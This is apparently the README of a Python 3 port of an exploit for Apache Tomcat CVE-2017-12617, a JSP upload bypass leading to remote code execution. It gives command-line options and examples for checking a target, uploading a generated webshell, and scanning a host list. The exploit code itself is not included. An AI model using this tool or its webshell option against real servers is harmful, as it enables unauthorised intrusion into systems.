Tomcat CVE-2017-12617 利用程序/PoC

Apache Tomcat < 9.0.1 (Beta) / < 8.5.23 / < 8.0.47 / < 7.0.8 - JSP 上传绕过 / 远程代码执行（适用于 Python3）

我只对原始脚本做了一些调整，使其兼容 Python 3！

---

如果遇到任何问题或麻烦，可以随时给我发邮件 [email protected]，或者如果你愿意也可以直接找我。

不要评判我的邮箱，它只是个临时账号

---

使用方法

./cve-2017-12617.py [选项]

选项：

-u ,--url [::] 检查目标 URL 是否存在漏洞

-p,--pwn [::] 生成 webshell 并上传

-l,--list [::] 主机列表

[+]用法示例：

./cve-2017-12617.py -u http://127.0.0.1

./cve-2017-12617.py --url http://127.0.0.1

./cve-2017-12617.py -u http://127.0.0.1 -p pwn

./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn

./cve-2017-12617.py -l hotsts.txt

./cve-2017-12617.py --list hosts.txt